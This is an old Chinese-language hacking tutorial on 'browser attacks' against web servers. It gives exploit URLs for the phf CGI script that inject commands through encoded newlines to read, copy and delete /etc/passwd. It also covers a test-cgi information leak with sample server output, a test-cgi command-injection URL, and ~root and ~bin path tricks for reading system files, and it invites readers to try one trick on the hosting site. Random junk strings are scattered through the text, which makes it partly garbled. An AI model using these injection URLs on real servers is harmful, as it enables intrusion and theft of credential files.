瀏覽器攻擊

在本章我將講述一些利用瀏覽器來進(jìn)行攻擊的方法
1。大家都知道了phf攻擊了，phf是cgi script,很多站點(diǎn)都有這個大漏洞啦，使用
/ b4 E( E4 B2 j  {8 m6 {# ohttp://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如：
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
, g- r+ N) J( c) w
- e0 w* j8 @( K% t* xme=&Qoffice_phone=
+ n- [  }6 s' U* O* [7 L% K! Shttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
% ^1 j3 T$ X3 c% \- ~& Ghttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
) d: D) w2 e4 ^6 k4 q' y+ O
=haqr&Qemail=&Qnickname=&Qoffice_phone=
上面執(zhí)行的命令是
0 a% `. f6 S  hid
ls -la ~someuser
cp /etc/passwd ~someuser/passwd
  |& K$ {2 B+ l9 i* y0 Qrm ~someuser/passwd

2。有關(guān)test攻擊
http://thegnome.com/cgi-bin/test-cgi?\whatever
服務(wù)器會應(yīng)答，本服務(wù)器的一些情況如：
4 f( c7 @! g( M: T7 FCGI/1.0 test script report:

argc is 0. argv is .
' r' O) s# |% f; @6 ?9 t
SERVER_SOFTWARE = NCSA/1.4B
, Z1 k/ H3 \- X6 ?8 e* @" ~SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
! I; `/ |. k$ M, mSERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
7 W& D5 V; e* \9 @; gREQUEST_METHOD = GET
. L7 i1 p( x2 v  H% S- P& h" YHTTP_ACCEPT = text/plain, application/x-html, application/html,
& f0 b' u- j: v1 O1 v4 qtext/html, text/x-html
PATH_INFO =
/ ~/ y$ G# ~& Q0 E& n. uPATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
& L- u" F4 D6 e% }$ j  H5 HREMOTE_HOST = fifth.column.gov
) k; E- a7 _/ W7 t$ n- nREMOTE_ADDR = 200.200.200.200
REMOTE_USER =
9 w5 h- o4 ^8 WAUTH_TYPE =
CONTENT_TYPE =
3 l; Z$ P) Z! b' m% `( m0 jCONTENT_LENGTH =

% ~: N. r) }0 @( I1 ]3 N" {6 o好吧，讓我們來點(diǎn)趕興趣的
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

3。~的應(yīng)用
~主要是用在很多的個人主頁上的快捷目錄的方法，如果我們使用這樣的~
http://thegnome.com/~root
http://thegnome.com/~root/etc/passwd
7 s% U2 H! q4 ~; [7 |8 Y, y不是在任何平臺上都通過呦，在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....
看到這個站點(diǎn)了嗎，本站所在的這個站點(diǎn)就是用這種形式的，如果我們打入 本站所在的web地址/~bin
出現(xiàn)了什么，你看到了嗎？然后...............注意請不要破壞
3 P! P$ e3 L/ D5 X. b* \/ E( E
: w7 Y0 }7 |+ V6 ]4 }( S% m# \